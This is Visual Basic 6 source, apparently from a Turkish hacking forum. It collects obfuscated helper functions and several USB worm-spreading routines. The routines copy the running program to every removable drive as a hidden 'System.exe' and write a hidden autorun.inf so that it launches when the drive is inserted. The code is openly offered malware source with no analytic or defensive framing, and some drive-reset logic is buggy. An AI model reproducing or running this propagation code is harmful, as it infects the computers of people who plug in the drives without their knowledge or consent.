Sub'Main Alternatif Kodlar

Public Function StrRev_Alter(Palabra As String)
Dim k, i As Integer
Dim Res As String
Dim b() As Byte
b = StrConv(Palabra, vbFromUnicode)
For k = 0 To Len(Palabra) - 1
i = (Len(Palabra) - 1) - k
Res = Res + Chr(b(i))
Next k
StrRev_Alter = Res
End Function

Public Function Len_Alter(Palabra As String)
Dim a As Long
Dim b() As Byte
Dim c As Integer
b = StrConv(Palabra, vbFromUnicode)
For a = 0 To UBound(b())
c = c + 1
Next a
Len_Alter = c
End Function

Public Function sLOF(sPath As String) As Double
'Autor: Slek
'Utilizado como alternativa a LOF
'Fecha: 7/03/14
Dim Fso, F As Object
    
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
    
sLOF = F.Size
End Function

Public Function dk9cgiCRf(o04OE4s6I As String) As Double
Dim VkfbAbCye, rvETBQXhL As Object
Set VkfbAbCye = CreateObject("Scripting.FileSystemObject")
Set rvETBQXhL = VkfbAbCye.GetFile(o04OE4s6I)
dk9cgiCRf = rvETBQXhL.Size
End Function

Public Function DPt9fN39d()
Dim tEJFxgJjS As String
Dim CTIf40ZOr As String
Dim zM6TSNCVl As String
Dim L65ib8MZU As String
tEJFxgJjS = App.Path
CTIf40ZOr = Chr$(92)
zM6TSNCVl = App.EXEName
L65ib8MZU = Chr$(46) & Chr$(69) & Chr$(88) & Chr$(69)
DPt9fN39d = tEJFxgJjS + CTIf40ZOr + zM6TSNCVl + L65ib8MZU
End Function

Attribute VB_Name = "mUSBspread"



Dim E As Boolean
Dim F As Boolean
Dim G As Boolean
Dim h As Boolean
Dim i As Boolean

Private Sub Form_Load()
Timer1.Enabled = True
Timer2.Enabled = True

E = False
F = False
G = False
h = False
i = False

End Sub

Private Sub Timer1_Timer()
If Dir("E:\") <> "" And E = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\System.exe"
Open "E:\autorun.inf" For Append As #1
     Print #1, "[autorun]"
     Print #1, "open=System.exe"
    Close #1
SetAttr "E:\System.exe", vbHidden
SetAttr "E:\autorun.inf", vbHidden
E = True
End If

If Dir("F:\") <> "" And F = False Then
MsgBox "USB IN DRIVE F."
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\System.exe"
Open "F:\autorun.inf" For Append As #1
     Print #1, "[autorun]"
     Print #1, "open=System.exe"
    Close #1
SetAttr "F:\System.exe", vbHidden
SetAttr "F:\autorun.inf", vbHidden
F = True
End If

If Dir("G:\") <> "" And G = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\System.exe"
Open "G:\autorun.inf" For Append As #1
     Print #1, "[autorun]"
     Print #1, "open=System.exe"
    Close #1
SetAttr "G:\System.exe", vbHidden
SetAttr "G:\autorun.inf", vbHidden
G = True
End If

If Dir("H:\") <> "" And h = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\System.exe"
Open "H:\autorun.inf" For Append As #1
     Print #1, "[autorun]"
     Print #1, "open=System.exe"
    Close #1
SetAttr "H:\System.exe", vbHidden
SetAttr "H:\autorun.inf", vbHidden
h = True
End If

If Dir("I:\") <> "" And i = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\System.exe"
Open "I:\autorun.inf" For Append As #1
     Print #1, "[autorun]"
     Print #1, "open=System.exe"
    Close #1
SetAttr "I:\System.exe", vbHidden
SetAttr "I:\autorun.inf", vbHidden
i = True
End If

End Sub

Private Sub Timer2_Timer()

If Dir("E:\") = "" And E = True Then
E = False
End If

If Dir("F:\") = "" And F = True Then
F = False
End If

If Dir("G:\") = "" And G = True Then
F = False
End If

If Dir("H:\") = "" And h = True Then
F = False
End If

If Dir("I:\") = "" And i = True Then
F = False
End If

End Sub





' USB SPREAD SOURCE

' https://www.turkhackteam.org
' https://www.facebook.com/NoaDaFFy

Public Function INFECT_USB(YOL As String, AD As String)
Dim FSO, SURUCULER, SURUCU

Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
Set SURUCULER = FSO.DRIVES
For Each SURUCU In SURUCULER
If SURUCU.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE

If Right(YOL, 1) <> "\" Then YOL = YOL & "\"

If DosyaVarmi(SURUCU & "\autorun.inf") Then
SetAttr SURUCU & "\autorun.inf", 0
Kill SURUCU & "\autorun.inf"
End If

Open SURUCU & "\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbCrLf & _
"open=" & SURUCU & "\" & AD
Close #1

If Not DosyaVarmi(SURUCU & "\" & AD) Then
FileCopy YOL & AD, SURUCU & "\" & AD
End If

SetAttr SURUCU & "\" & AD, 4 'DOSYA OZNITELIKLERINI UYGULA
SetAttr SURUCU & "\autorun.inf", 4
SetAttr SURUCU & "\" & AD, 2
SetAttr SURUCU & "\autorun.inf", 2
End If
Next

End Function

Public Function DosyaVarmi(DosyaAdi As String) As Boolean
On Error GoTo DosyaYok
Call FileLen(DosyaAdi)
DosyaVarmi = True
Exit Function
DosyaYok:
End Function